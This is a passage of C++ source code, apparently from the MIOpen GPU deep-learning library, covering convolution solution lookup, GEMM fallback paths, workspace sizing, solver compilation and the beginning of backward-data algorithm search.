std::ignore = handle;\n    std::ignore = tensors;\n    std::ignore = workSpace;\n    std::ignore = workSpaceSize;\n    std::ignore = kernels;\n    MIOPEN_THROW(\"Static Compiled GEMM is not supported\");\n#endif\n}\n\nstd::size_t ConvolutionDescriptor::GetFwdSolutionCountFallback(const TensorDescriptor& wDesc,\n                                                               const TensorDescriptor& xDesc,\n                                                               const TensorDescriptor& yDesc) const\n{\n    // This is needed on fallback path only.\n    // Regular (find-db) path have been verified during Find().\n    ValidateGroupCount(xDesc, wDesc, *this);\n\n    if(IsGemmApplicableFwd(wDesc, xDesc, yDesc) &&\n       !miopen::IsDisabled(MIOPEN_DEBUG_CONV_IMMED_FALLBACK{}))\n    {\n        MIOPEN_LOG_I(\"Fallback path, GEMM\");\n        return 1;\n    }\n    MIOPEN_LOG_I(\"Fallback path, GEMM disabled\");\n    /// When count=0 the reason could be:\n    /// * (1) Convolution is not implemented in the library at all, so Find() would fail as\n    ///   well. This is case when rc = miopenStatusNotImplemented is correct.\n    /// * (2) Variant of the above: Convolution is implemented, but implementation is disabled,\n    ///   for example, rocBLAS is not installed or some convolutions are disabled by the\n    ///   environment setting.\n    /// * (3) There is none relevant record in the find-db and fallback path was unable to\n    ///   choose suitable solution.\n    ///\n    /// We can't distinguish these three cases.\n    /// Let's do like Find() does:\n    MIOPEN_THROW(miopenStatusNotImplemented,\n                 \"Requested convolution is not supported or immedate mode fallback has failed.\");\n}\n\nstd::size_t ConvolutionDescriptor::GetBwdSolutionCountFallback(const TensorDescriptor& dyDesc,\n                                                               const TensorDescriptor& wDesc,\n                                                               const TensorDescriptor& dxDesc) const\n{\n    ValidateGroupCount(dxDesc, wDesc, *this); // See comment in Forward method.\n\n    if(IsGemmApplicableBwd(dyDesc, wDesc, dxDesc) &&\n       !miopen::IsDisabled(MIOPEN_DEBUG_CONV_IMMED_FALLBACK{}))\n    {\n        MIOPEN_LOG_I(\"Fallback path, GEMM\");\n        return 1;\n    }\n    MIOPEN_LOG_I(\"Fallback path, GEMM disabled\");\n    // See comment in Forward method.\n    MIOPEN_THROW(miopenStatusNotImplemented,\n                 \"Requested convolution is not supported or immedate mode fallback has failed.\");\n}\n\nbool ConvolutionDescriptor::IsGemmApplicableWrw(const TensorDescriptor& dyDesc,\n                                                const TensorDescriptor& xDesc,\n                                                const TensorDescriptor& dwDesc) const\n{\n#if MIOPEN_USE_GEMM\n    if(!miopen::IsDisabled(MIOPEN_DEBUG_CONV_GEMM{}) &&\n       !(IsAnyBufferBF16(xDesc, dyDesc, dwDesc) && !IsUseRocBlas))\n    {\n        const std::size_t spatial_dim = GetSpatialDimension();\n        const auto wei_spatial = boost::adaptors::slice(dwDesc.GetLengths(), 2, 2 + spatial_dim);\n\n        // if not 1x1\n        if((miopen::any_of(wei_spatial, [](auto v) { return v != 1; }) ||\n            miopen::any_of(GetConvPads(), [](auto v) { return v != 0; }) ||\n            miopen::any_of(GetConvStrides(), [](auto v) { return v != 1; })))\n            return true;\n\n        if(miopen::any_of(wei_spatial, [](auto v) { return v == 1; }) &&\n           miopen::any_of(GetConvPads(), [](auto v) { return v == 0; }) &&\n           miopen::any_of(GetConvStrides(), [](auto v) { return v == 1; }))\n            return true;\n\n        return false;\n    }\n#else\n    std::ignore = dyDesc;\n    std::ignore = xDesc;\n    std::ignore = dwDesc;\n#endif\n    return false;\n}\n\nbool ConvolutionDescriptor::IsGemmApplicableFwd(const TensorDescriptor& wDesc,\n                                                const TensorDescriptor& xDesc,\n                                                const TensorDescriptor& yDesc) const\n{\n#if MIOPEN_USE_GEMM\n    return !miopen::IsDisabled(MIOPEN_DEBUG_CONV_GEMM{}) &&\n           !(IsAnyBufferBF16(xDesc, yDesc, wDesc) && !IsUseRocBlas);\n#else\n    std::ignore = wDesc;\n    std::ignore = xDesc;\n    std::ignore = yDesc;\n    return false;\n#endif\n}\n\nbool ConvolutionDescriptor::IsGemmApplicableBwd(const TensorDescriptor& dyDesc,\n                                                const TensorDescriptor& wDesc,\n                                                const TensorDescriptor& dxDesc) const\n{\n#if MIOPEN_USE_GEMM\n    return !miopen::IsDisabled(MIOPEN_DEBUG_CONV_GEMM{}) &&\n           !(IsAnyBufferBF16(dxDesc, dyDesc, wDesc) && !IsUseRocBlas);\n#else\n    std::ignore = dyDesc;\n    std::ignore = wDesc;\n    std::ignore = dxDesc;\n    return false;\n#endif\n}\n\nstd::size_t ConvolutionDescriptor::GetWrwSolutionCountFallback(const TensorDescriptor& dyDesc,\n                                                               const TensorDescriptor& xDesc,\n                                                               const TensorDescriptor& dwDesc) const\n{\n    ValidateGroupCount(xDesc, dwDesc, *this); // See comment in Forward method.\n\n    if(IsGemmApplicableWrw(xDesc, dyDesc, dwDesc) &&\n       !miopen::IsDisabled(MIOPEN_DEBUG_CONV_IMMED_FALLBACK{}))\n    {\n        MIOPEN_LOG_I(\"Fallback path, GEMM\");\n        return 1;\n    }\n    MIOPEN_LOG_I(\"Fallback path, GEMM disabled\");\n    // See comment in Forward method.\n    MIOPEN_THROW(miopenStatusNotImplemented,\n                 \"Requested convolution is not supported or immedate mode fallback has failed.\");\n}\n\nstd::size_t GetSolutionCount(Handle& handle, const ProblemDescription& problem)\n{\n    const FindDbRecord fdb_record{handle, problem};\n    if(fdb_record.empty())\n        return 0;\n    return std::distance(fdb_record.begin(), fdb_record.end());\n}\n\nstd::size_t ConvolutionDescriptor::GetForwardSolutionCount(Handle& handle,\n                                                           const TensorDescriptor& wDesc,\n                                                           const TensorDescriptor& xDesc,\n                                                           const TensorDescriptor& yDesc) const\n{\n    MIOPEN_LOG_I(\"\");\n    const auto problem = ProblemDescription{xDesc, wDesc, yDesc, *this, conv::Direction::Forward};\n    const auto n       = GetSolutionCount(handle, problem);\n    if(n > 0)\n        return n;\n    return GetFwdSolutionCountFallback(wDesc, xDesc, yDesc);\n}\n\nstatic inline bool IsAlgorithmDisabled(const miopenConvAlgorithm_t algo)\n{\n    switch(algo)\n    { // clang-format off\n    case miopenConvolutionAlgoGEMM:\n        return miopen::IsDisabled(MIOPEN_DEBUG_CONV_GEMM{}) || !MIOPEN_USE_GEMM;\n    case miopenConvolutionAlgoDirect:\n        return miopen::IsDisabled(MIOPEN_DEBUG_CONV_DIRECT{});\n    case miopenConvolutionAlgoFFT:\n        return miopen::IsDisabled(MIOPEN_DEBUG_CONV_FFT{});\n    case miopenConvolutionAlgoWinograd:\n        return miopen::IsDisabled(MIOPEN_DEBUG_CONV_WINOGRAD{});\n    case miopenConvolutionAlgoImplicitGEMM:\n        return miopen::IsDisabled(MIOPEN_DEBUG_CONV_IMPLICIT_GEMM{});\n    case miopenConvolutionAlgoStaticCompiledGEMM:\n        return miopen::IsDisabled(MIOPEN_DEBUG_CONV_SCGEMM{}) || !MIOPEN_USE_SCGEMM;\n    default: // Disable future algos by default to enforce explicit handling:\n        return true;\n    } // clang-format on\n}\n\nvoid GetSolutions(Handle& handle,\n                  const ProblemDescription& problem,\n                  const size_t maxSolutionCount,\n                  size_t* solutionCount,\n                  miopenConvSolution_t* solutions,\n                  std::function<int(const std::string&)>&& algoResolver)\n{\n    const FindDbRecord fdb_record{handle, problem};\n\n    if(fdb_record.empty())\n    {\n        *solutionCount = 0;\n        return;\n    }\n\n    // Read all what we have, then sort and write out up to max asked.\n    // Fallback path currently returns only one solution, so no need to sort there.\n    struct SortWrapper : miopenConvSolution_t // For emplace and sort.\n    {\n        SortWrapper(const float& t,\n                    const size_t& ws,\n                    const uint64_t& id,\n                    const miopenConvAlgorithm_t& algo)\n            : miopenConvSolution_t{t, ws, id, algo}\n        {\n        }\n        bool operator<(const SortWrapper& other) const { return (time < other.time); }\n    };\n    std::vector<SortWrapper> interim;\n    interim.reserve(maxSolutionCount); // For speed. In most cases we have less entries than asked.\n\n    // Individual Solvers can be enabled/disabled by environment settings.\n    // Applicability is also affected by presence of external tools (e.g. assembler)\n    // ROCm version, specific features of GPU (like xnack) etc.\n    // All the above can be found by calling IsApplicable().\n    // We need fully initialized context for this, see below.\n    auto ctx = ConvolutionContext{problem};\n    ctx.SetStream(&handle);\n    ctx.DetectRocm();\n\n    for(const auto& pair : fdb_record)\n    {\n        const auto algo = static_cast<miopenConvAlgorithm_t>(algoResolver(pair.first));\n        if(IsAlgorithmDisabled(algo))\n            continue;\n\n        const auto solver_id = solver::Id{pair.second.solver_id};\n        // Wrong IDs can't be used to call IsApplicable(), so let's\n        // ignore obsolete or invalid IDs read from find-db first.\n        if(!solver_id.IsValid())\n        {\n            // Do not disturb users with warnings unless detailed log is enabled.\n            MIOPEN_LOG_I(\"[Warning] incorrect solver_id: \" << pair.second.solver_id);\n            continue;\n        }\n        // gemm and fft are always applicable.\n        // These can be disabled/enabled at algorithm level.\n        if(!(solver_id == solver::Id::gemm() || solver_id == solver::Id::fft()))\n            if(!solver_id.GetSolver().IsApplicable(ctx))\n                continue;\n\n        interim.emplace_back(pair.second.time, pair.second.workspace, solver_id.Value(), algo);\n    }\n    std::sort(begin(interim), end(interim));\n\n    auto i = std::size_t{0};\n    for(const auto& entry : interim)\n    {\n        if(i >= maxSolutionCount)\n            break;\n        solutions[i] = entry;\n        ++i;\n    }\n    *solutionCount = i;\n}\n\nvoid ConvolutionDescriptor::GetForwardSolutionsFallback(Handle& handle,\n                                                        const TensorDescriptor& wDesc,\n                                                        const TensorDescriptor& xDesc,\n                                                        const TensorDescriptor& yDesc,\n                                                        const size_t maxSolutionCount,\n                                                        size_t* const solutionCount,\n                                                        miopenConvSolution_t* const solutions) const\n{\n    // This check is needed on fallback path only.\n    // Regular (find-db) path have been verified during Find().\n    ValidateGroupCount(xDesc, wDesc, *this);\n    auto i = std::size_t{0};\n\n    if(IsGemmApplicableFwd(wDesc, xDesc, yDesc) &&\n       !miopen::IsDisabled(MIOPEN_DEBUG_CONV_IMMED_FALLBACK{}))\n    {\n        MIOPEN_LOG_I(\"Fallback path, GEMM\");\n        if(i < maxSolutionCount)\n        {\n            solutions[i].algorithm = miopenConvolutionAlgoGEMM;\n            solutions[i].time      = -1.0; /// \\todo Evaluate time.\n            solutions[i].workspace_size =\n                ForwardGetValidWorkSpaceSizeGemm(handle, wDesc, xDesc, yDesc);\n            solutions[i].solution_id = solver::Id::gemm().Value();\n            ++i;\n        }\n    }\n    else\n        MIOPEN_LOG_I(\"Fallback path, GEMM disabled\");\n\n    *solutionCount = i;\n}\n\nvoid ConvolutionDescriptor::GetBwdSolutionsFallback(Handle& /*handle*/,\n                                                    const TensorDescriptor& dyDesc,\n                                                    const TensorDescriptor& wDesc,\n                                                    const TensorDescriptor& dxDesc,\n                                                    const size_t maxSolutionCount,\n                                                    size_t* const solutionCount,\n                                                    miopenConvSolution_t* const solutions) const\n{\n    ValidateGroupCount(dxDesc, wDesc, *this);\n    auto i = std::size_t{0};\n\n    if(IsGemmApplicableBwd(dyDesc, wDesc, dxDesc) &&\n       !miopen::IsDisabled(MIOPEN_DEBUG_CONV_IMMED_FALLBACK{}))\n    {\n        MIOPEN_LOG_I(\"Fallback path, GEMM\");\n        if(i < maxSolutionCount)\n        {\n            solutions[i].algorithm      = miopenConvolutionAlgoGEMM;\n            solutions[i].time           = -1.0; /// \\todo Evaluate time.\n            solutions[i].workspace_size = BackwardGetValidWorkSpaceSizeGemm(dyDesc, wDesc, dxDesc);\n            solutions[i].solution_id    = solver::Id::gemm().Value();\n            ++i;\n        }\n    }\n    else\n        MIOPEN_LOG_I(\"Fallback path, GEMM disabled\");\n\n    *solutionCount = i;\n}\n\nvoid ConvolutionDescriptor::GetWrwSolutionsFallback(Handle& /*handle*/,\n                                                    const TensorDescriptor& dyDesc,\n                                                    const TensorDescriptor& xDesc,\n                                                    const TensorDescriptor& dwDesc,\n                                                    const size_t maxSolutionCount,\n                                                    size_t* const solutionCount,\n                                                    miopenConvSolution_t* const solutions) const\n{\n    ValidateGroupCount(xDesc, dwDesc, *this);\n    auto i = std::size_t{0};\n\n    if(IsGemmApplicableWrw(dyDesc, xDesc, dwDesc) &&\n       !miopen::IsDisabled(MIOPEN_DEBUG_CONV_IMMED_FALLBACK{}))\n    {\n        MIOPEN_LOG_I(\"Fallback path, GEMM\");\n        if(i < maxSolutionCount)\n        {\n            solutions[i].algorithm      = miopenConvolutionAlgoGEMM;\n            solutions[i].time           = -1.0; /// \\todo Evaluate time.\n            solutions[i].workspace_size = WrwGetValidWorkSpaceSizeGemm(dyDesc, xDesc, dwDesc);\n            solutions[i].solution_id    = solver::Id::gemm().Value();\n            ++i;\n        }\n    }\n    else\n        MIOPEN_LOG_I(\"Fallback path, GEMM disabled\");\n\n    *solutionCount = i;\n}\n\nvoid ConvolutionDescriptor::GetForwardSolutions(Handle& handle,\n                                                const TensorDescriptor& wDesc,\n                                                const TensorDescriptor& xDesc,\n                                                const TensorDescriptor& yDesc,\n                                                const size_t maxSolutionCount,\n                                                size_t* const solutionCount,\n                                                miopenConvSolution_t* const solutions) const\n{\n    MIOPEN_LOG_I(\"\");\n    if(solutionCount == nullptr)\n        MIOPEN_THROW(miopenStatusBadParm, \"solutionCount cannot be nullptr\");\n    if(solutions == nullptr)\n        MIOPEN_THROW(miopenStatusBadParm, \"solutions cannot be nullptr\");\n\n    const auto problem = ProblemDescription{xDesc, wDesc, yDesc, *this, conv::Direction::Forward};\n    GetSolutions(\n        handle, problem, maxSolutionCount, solutionCount, solutions, StringToConvolutionFwdAlgo);\n\n    if(*solutionCount == 0)\n        GetForwardSolutionsFallback(\n            handle, wDesc, xDesc, yDesc, maxSolutionCount, solutionCount, solutions);\n}\n\nstd::size_t\nConvolutionDescriptor::GetFwdSolutionWorkspaceSizeFallback(Handle& handle,\n                                                           const TensorDescriptor& wDesc,\n                                                           const TensorDescriptor& xDesc,\n                                                           const TensorDescriptor& yDesc,\n                                                           solver::Id solver_id) const\n{\n    ValidateGroupCount(xDesc, wDesc, *this);\n    if(solver_id == solver::Id::gemm() && IsGemmApplicableFwd(wDesc, xDesc, yDesc))\n    {\n        MIOPEN_LOG_I(\"Fallback path, GEMM\");\n        return ForwardGetValidWorkSpaceSizeGemm(handle, wDesc, xDesc, yDesc);\n    }\n    MIOPEN_THROW(miopenStatusNotImplemented);\n}\n\nstd::size_t\nConvolutionDescriptor::BackwardGetValidWorkSpaceSizeGemm(const TensorDescriptor& dyDesc,\n                                                         const TensorDescriptor& wDesc,\n                                                         const TensorDescriptor& dxDesc) const\n{\n    const auto wei_spatial =\n        boost::adaptors::slice(wDesc.GetLengths(), 2, 2 + GetSpatialDimension());\n\n    if(GetSpatialDimension() == 2 && miopen::all_of(wei_spatial, [](auto v) { return v == 1; }) &&\n       miopen::all_of(GetConvPads(), [](auto v) { return v == 0; }) &&\n       miopen::all_of(GetConvStrides(), [](auto v) { return v == 2; }))\n        return BackwardDataGetWorkSpaceSizeGEMMTranspose(dyDesc, dxDesc);\n\n    if(miopen::all_of(wei_spatial, [](auto v) { return v == 1; }) &&\n       miopen::all_of(GetConvPads(), [](auto v) { return v == 0; }) &&\n       miopen::all_of(GetConvStrides(), [](auto v) { return v == 1; }))\n        return 0;\n\n    return BackwardDataGetWorkSpaceSizeGEMM(wDesc, dyDesc);\n}\n\nstd::size_t\nConvolutionDescriptor::GetBwdSolutionWorkspaceSizeFallback(const TensorDescriptor& dyDesc,\n                                                           const TensorDescriptor& wDesc,\n                                                           const TensorDescriptor& dxDesc,\n                                                           solver::Id solver_id) const\n{\n    ValidateGroupCount(dxDesc, wDesc, *this);\n    if(solver_id == solver::Id::gemm() && IsGemmApplicableBwd(dyDesc, wDesc, dxDesc))\n    {\n        MIOPEN_LOG_I(\"Fallback path, GEMM\");\n        return BackwardGetValidWorkSpaceSizeGemm(dyDesc, wDesc, dxDesc);\n    }\n    MIOPEN_THROW(miopenStatusNotImplemented);\n}\n\nstd::size_t\nConvolutionDescriptor::GetWrwSolutionWorkspaceSizeFallback(Handle& /*handle*/,\n                                                           const TensorDescriptor& dyDesc,\n                                                           const TensorDescriptor& xDesc,\n                                                           const TensorDescriptor& dwDesc,\n                                                           solver::Id solver_id) const\n{\n    ValidateGroupCount(xDesc, dwDesc, *this);\n    if(solver_id == solver::Id::gemm() && IsGemmApplicableWrw(dyDesc, xDesc, dwDesc))\n    {\n        MIOPEN_LOG_I(\"Fallback path, GEMM\");\n        return WrwGetValidWorkSpaceSizeGemm(dyDesc, xDesc, dwDesc);\n    }\n    MIOPEN_THROW(miopenStatusNotImplemented);\n}\n\nstd::size_t ConvolutionDescriptor::GetForwardSolutionWorkspaceSize(Handle& handle,\n                                                                   const TensorDescriptor& wDesc,\n                                                                   const TensorDescriptor& xDesc,\n                                                                   const TensorDescriptor& yDesc,\n                                                                   solver::Id solver_id) const\n{\n    MIOPEN_LOG_I(\"solver_id = \" << solver_id.ToString());\n    if(!solver_id.IsValid())\n        MIOPEN_THROW(miopenStatusBadParm, \"invalid solution id = \" + solver_id.ToString());\n    if(solver_id != solver::Id::gemm() && solver_id != solver::Id::fft())\n    {\n        auto sol = solver_id.GetSolver();\n        auto ctx = ConvolutionContext{xDesc, wDesc, yDesc, *this, conv::Direction::Forward};\n        ctx.SetStream(&handle);\n        ctx.DetectRocm();\n        if(sol.IsApplicable(ctx))\n            return sol.GetWorkspaceSize(ctx);\n        else\n        {\n            MIOPEN_THROW(miopenStatusBadParm,\n                         \"The supplied solution id: \" + solver_id.ToString() +\n                             \" is not applicable to the current problem\");\n        }\n    }\n    else if(solver_id == solver::Id::fft())\n        return ForwardGetWorkSpaceSizeFFT(wDesc, xDesc, yDesc);\n    // handles the GEMM case\n    return GetFwdSolutionWorkspaceSizeFallback(handle, wDesc, xDesc, yDesc, solver_id);\n}\n\n// Todo: remove when all immediate mode calls will support invokers\nstatic std::vector<KernelInvoke> CompileSolver(const Handle& handle,\n                                               ConvolutionContext& ctx,\n                                               solver::Id solver_id,\n                                               const FindDbKCacheKey& key)\n{\n    ctx.DetectRocm();\n    ctx.SetupFloats();\n\n    const auto solver   = solver_id.GetSolver();\n    auto db             = GetDb(ctx);\n    const auto solution = solver.FindSolution(ctx, db);\n\n    std::vector<KernelInvoke> kernels;\n    AddKernels(handle, key.algorithm_name, key.network_config, solution, &kernels);\n    return kernels;\n}\n\nstatic Invoker PrepareInvoker(Handle& handle,\n                              ConvolutionContext& ctx,\n                              const NetworkConfig& config,\n                              solver::Id solver_id,\n                              conv::Direction dir)\n{\n    ctx.DetectRocm();\n    ctx.SetupFloats();\n\n    const auto solver = solver_id.GetSolver();\n    auto db           = GetDb(ctx);\n    auto solution     = solver.FindSolution(ctx, db);\n    auto invoker = handle.PrepareInvoker(*solution.invoker_factory, solution.construction_params);\n\n    handle.RegisterInvoker(invoker, config, solver_id, AlgorithmName(solver_id.GetAlgo(dir)));\n    return invoker;\n}\n\nstatic Invoker LoadOrPrepareInvoker(Handle& handle,\n                                    ConvolutionContext& ctx,\n                                    solver::Id solver_id,\n                                    conv::Direction dir)\n{\n    const auto config = ctx.BuildConfKey();\n    auto invoker      = handle.GetInvoker(config, solver_id);\n    if(invoker)\n        return *invoker;\n    return PrepareInvoker(handle, ctx, config, solver_id, dir);\n}\n\nstatic bool CheckInvokerSupport(const solver::Id solver_id, conv::Direction dir)\n{\n    const auto& algo = solver_id.GetAlgo(dir);\n    return CheckInvokerSupport(algo);\n}\n\nstatic void CompileSolution(Handle& handle,\n                            const solver::Id solver_id,\n                            ConvolutionContext& ctx,\n                            conv::Direction dir,\n                            std::function<void()>&& fft_finder)\n{\n    if(!solver_id.IsValid())\n        MIOPEN_THROW(miopenStatusBadParm, \"solver_id = \" + solver_id.ToString());\n\n    if(CheckInvokerSupport(solver_id, dir))\n    {\n        LoadOrPrepareInvoker(handle, ctx, solver_id, dir);\n        return;\n    }\n\n    // Todo: remove when all finds will use invokers.\n    if(solver_id == solver::Id::gemm())\n    {\n        // Todo: gemm precompilation?\n        return;\n    }\n\n    const FindDbRecord fdb_record{handle, ctx};\n    for(const auto& pair : fdb_record)\n    {\n        if(solver::Id{pair.second.solver_id} != solver_id)\n            continue;\n\n        const auto&& kernels = handle.GetKernels(pair.second.kcache_key.algorithm_name,\n                                                 pair.second.kcache_key.network_config);\n\n        if(!kernels.empty())\n            return;\n\n        if(solver_id == solver::Id::fft())\n        {\n            fft_finder();\n            return;\n        }\n\n        CompileSolver(handle, ctx, solver_id, pair.second.kcache_key);\n        return;\n    }\n\n    // Todo: solver not found in find-db.\n    MIOPEN_THROW(miopenStatusNotImplemented);\n}\n\nvoid ConvolutionDescriptor::CompileForwardSolution(Handle& handle,\n                                                   const TensorDescriptor& wDesc,\n                                                   const TensorDescriptor& xDesc,\n                                                   const TensorDescriptor& yDesc,\n                                                   const solver::Id solver_id) const\n{\n    MIOPEN_LOG_I(\"solver_id = \" << solver_id.ToString());\n\n    auto ctx = ConvolutionContext{xDesc, wDesc, yDesc, *this, conv::Direction::Forward};\n    ctx.SetStream(&handle);\n    ctx.disable_search_enforce = true;\n\n    CompileSolution(handle, solver_id, ctx, conv::Direction::Forward, [&]() {\n        const auto workspace_fft = ForwardGetWorkSpaceSizeFFT(wDesc, xDesc, yDesc);\n        std::vector<KernelInvoke> ignore0;\n        const auto network_config = ctx.BuildConfKey();\n        FindFwdFFTKernel(handle, xDesc, wDesc, yDesc, workspace_fft, ignore0, network_config);\n    });\n}\n\nvoid ConvolutionDescriptor::ConvolutionForwardImmediate(Handle& handle,\n                                                        const TensorDescriptor& wDesc,\n                                                        ConstData_t w,\n                                                        const TensorDescriptor& xDesc,\n                                                        ConstData_t x,\n                                                        const TensorDescriptor& yDesc,\n                                                        Data_t y,\n                                                        Data_t workSpace,\n                                                        const std::size_t workSpaceSize,\n                                                        const solver::Id solver_id) const\n{\n    MIOPEN_LOG_I(\"solver_id = \" << solver_id.ToString() << \", workspace = \" << workSpaceSize);\n    const auto tensors = ConvFwdTensors{xDesc, x, wDesc, w, yDesc, y};\n\n    ValidateConvTensors(tensors);\n    if(!solver_id.IsValid())\n        MIOPEN_THROW(miopenStatusBadParm);\n\n    ConvForwardCheckNumerics(handle, tensors, [&]() {\n        auto ctx = ConvolutionContext{xDesc, wDesc, yDesc, *this, conv::Direction::Forward};\n        ctx.SetStream(&handle);\n\n        if(CheckInvokerSupport(solver_id, conv::Direction::Forward))\n        {\n            const auto invoker =\n                LoadOrPrepareInvoker(handle, ctx, solver_id, conv::Direction::Forward);\n            const auto invoke_ctx = conv::DataInvokeParams{tensors, workSpace, workSpaceSize};\n            invoker(handle, invoke_ctx);\n            return;\n        }\n\n        // Todo: remove when all algorithms would support invokers\n        if(solver_id == solver::Id::gemm())\n        {\n            ConvFwdGemm(handle, tensors, workSpace, workSpaceSize);\n            return;\n        }\n\n        const auto network_config = ctx.BuildConfKey();\n        const auto algo_name      = solver_id.GetAlgo(conv::Direction::Forward);\n        const auto&& chk_kernels  = handle.GetKernels(algo_name, network_config);\n        auto v_chk_kernels = std::vector<KernelInvoke>{chk_kernels.begin(), chk_kernels.end()};\n\n        if(!v_chk_kernels.empty())\n        {\n            MIOPEN_LOG_I2(\n                \"Found previously compiled kernels for solution: \" << solver_id.ToString());\n            if(solver_id == solver::Id::fft())\n                ConvFwdFFT(handle, tensors, workSpace, workSpaceSize, network_config);\n            else if(algo_name == \"miopenConvolutionFwdAlgoStaticCompiledGEMM\")\n                ConvFwdSCGemm(ctx, handle, tensors, workSpace, workSpaceSize, v_chk_kernels);\n            else\n                MIOPEN_THROW(\"Invalid algorithm: \" + algo_name);\n            return;\n        }\n\n        const auto problem =\n            ProblemDescription{xDesc, wDesc, yDesc, *this, conv::Direction::Forward};\n        const FindDbRecord fdb_record{handle, problem};\n\n        for(const auto& pair : fdb_record)\n        {\n            if(solver::Id{pair.second.solver_id} != solver_id)\n                continue;\n\n            const auto&& kernels = handle.GetKernels(pair.second.kcache_key.algorithm_name,\n                                                     pair.second.kcache_key.network_config);\n            auto v_kernels = std::vector<KernelInvoke>{kernels.begin(), kernels.end()};\n\n            if(solver_id == solver::Id::fft())\n            {\n                if(v_kernels.empty())\n                    FindFwdFFTKernel(\n                        handle, xDesc, wDesc, yDesc, workSpaceSize, v_kernels, network_config);\n                ConvFwdFFT(handle, tensors, workSpace, workSpaceSize, network_config);\n                return;\n            }\n\n            if(v_kernels.empty())\n                v_kernels = CompileSolver(handle, ctx, solver_id, pair.second.kcache_key);\n\n            if(algo_name == \"miopenConvolutionFwdAlgoStaticCompiledGEMM\")\n                ConvFwdSCGemm(ctx, handle, tensors, workSpace, workSpaceSize, v_kernels);\n            else\n                MIOPEN_THROW(\"Invalid algorithm: \" + pair.second.kcache_key.algorithm_name);\n            return;\n        }\n\n        // Todo: solver not found in find-db.\n        MIOPEN_THROW(miopenStatusNotImplemented);\n    });\n}\n\n// FindBackwardDataAlgorithm()\n//\nvoid ConvolutionDescriptor::FindConvBwdDataAlgorithm(Handle& handle,\n                                                     const TensorDescriptor& dyDesc,\n                                                     ConstData_t dy,\n                                                     const TensorDescriptor& wDesc,\n                                                     ConstData_t w,\n                                                     const TensorDescriptor& dxDesc,\n                                                     Data_t dx,\n                                                     const int requestAlgoCount,\n                                                     int* const returnedAlgoCount,\n                                                     miopenConvAlgoPerf_t* perfResults,\n                                                     Data_t workSpace,\n                                                     size_t workSpaceSize,\n                                                     bool exhaustiveSearch) const\n{\n    MIOPEN_LOG_I(\"requestAlgoCount = \" << requestAlgoCount << \", workspace = \" << workSpaceSize);\n    if(dx == nullptr || w == nullptr || dy == nullptr)\n        MIOPEN_THROW(miopenStatusBadParm, \"Buffers cannot be NULL\");\n    if(returnedAlgoCount == nullptr)\n        MIOPEN_THROW(miopenStatusBadParm, \"returnedAlgoCount cannot be nullptr\");\n    if(perfResults == nullptr)\n        MIOPEN_THROW(miopenStatusBadParm, \"perfResults cannot be nullptr\");\n    if(requestAlgoCount < 1)\n        MIOPEN_THROW(miopenStatusBadParm, \"requestAlgoCount cannot be < 1\");\n    if(wDesc.GetType() == miopenInt8)\n        MIOPEN_THROW(miopenStatusBadParm);\n\n    *returnedAlgoCount = 0;\n\n    AutoEnableProfiling enableProfiling{handle};\n\n    const ProblemDescription problem(dxDesc, wDesc, dyDesc, *this, conv::Direction::BackwardData);\n\n    const auto use_winograd_only = [&]() {\n        auto ctx = ConvolutionContext{problem};\n        ctx.SetStream(&handle);\n        ctx.DetectRocm();\n        return IsWinograd3x3SupportedAndFast(ctx);\n    }();\n\n    std::vector<PerfField> perf_db;\n\n    const miopen::FindMode fm;\n    /// \\ref ffind_special_cases\n    bool use_immediate_solution = false;\n    miopenConvSolution_t imm_sol;\n    if((fm.IsFast() || fm.IsHybrid()) && !use_winograd_only)\n    {\n        size_t count;\n        GetBackwardSolutions(handle, dyDesc, wDesc, dxDesc, 1, &count, &imm_sol);\n        use_immediate_solution = (count > 0) && !(fm.IsHybrid() && imm_sol.time < 0);\n    }\n\n    if(use_immediate_solution)\n    {\n        CompileBackwardSolution(handle, dyDesc, wDesc, dxDesc, imm_sol.solution_id);\n        const auto id = solver::Id(imm_sol.solution_id);\n        perf_db.push_back({id.GetAlgo(conv::Direction::BackwardData),\n                           id.ToString(),\n                           imm_sol.time,\n                           imm_sol.workspace_size});\n    }\n    else\n    {\n        perf_db = UserFindDbRecord::TryLoad(handle, problem, [&](DbRecord& record) {\n            const auto network_config = problem.BuildConfKey();\n            const auto invoke_ctx     = conv::DataInvokeParams{\n                {dyDesc, dy, wDesc, w, dxDesc, dx}, workSpace, workSpaceSize};\n\n            // Winograd algo\n            {\n                ConvolutionUserBuffers bufs(workSpace, workSpaceSize);\n                bufs.SetBwd(dx, w, dy);\n                auto ctx = ConvolutionContext{problem};\n                ctx.SetBufs(bufs);\n                ctx.SetStream(&handle);\n                ctx.DetectRocm();\n                const auto all            = FindWinogradSolutions(ctx);\n                const auto algorithm_name = AlgorithmName{\"miopenConvolutionBwdDataAlgoWinograd\"};\n                PrecompileSolutions(handle, all);\n                EvaluateInvokers(handle, all, algorithm_name, network_config, invoke_ctx, record);\n            }\n\n            // Direct algo\n            if(!use_winograd_only)\n            {\n                ConvolutionUserBuffers bufs(workSpace, workSpaceSize);\n                bufs.SetBwd(dx, w, dy);\n                const auto all = FindDataDirectSolutions(\n                    handle, dxDesc, wDesc, dyDesc, exhaustiveSearch, false, bufs);\n                const auto algorithm_name = AlgorithmName{\"miopenConvolutionBwdDataAlgoDirect\"};\n                PrecompileSolutions(handle, all);\n                EvaluateInvokers(handle, all, algorithm_name, network_config, invoke_ctx, record);\n            }\n\n            // Implicit GEMM algo\n            if(!use_winograd_only)\n            {\n                ConvolutionUserBuffers bufs(workSpace, workSpaceSize);\n                bufs.SetBwd(dx, w, dy);\n                const auto all = this->FindDataImplicitGemmSolutions(\n                    handle, dxDesc, wDesc, dyDesc, exhaustiveSearch, false, bufs);\n                PrecompileSolutions(handle, all);\n                const auto algorithm_name =\n                    AlgorithmName{\"miopenConvolutionBwdDataAlgoImplicitGEMM\"};\n                EvaluateInvokers(handle, all, algorithm_name, network_config, invoke_ctx, record);\n            }\n\n            if(GetSpatialDimension() == 2 && GetConvDilations()[0] == 1 &&\n               GetConvDilations()[1] == 1 && group_count == 1 && !use_winograd_only)\n            {\n                // FFT algo\n                std::vector<KernelInvoke> kernels_fft;\n                size_t workspace_fft = BackwardGetWorkSpaceSizeFFT(wDesc, dyDesc, dxDesc);\n                if(FindBwdFFTKernel(\n                       handle, dyDesc, wDesc, dxDesc, workspace_fft, kernels_fft, network_config) ==\n                   0)\n                {\n                    (void)kernels_fft; // not used now, but needed as fft coverage widens\n                    if(workSpace != nullptr && workSpaceSize >= workspace_fft)\n                    {\n                        float time_fft = ExecuteBwdFFTKernel(handle,\n                                                             dyDesc,\n                                                             dy,\n                                                             wDesc,\n                                                             w,\n                                                             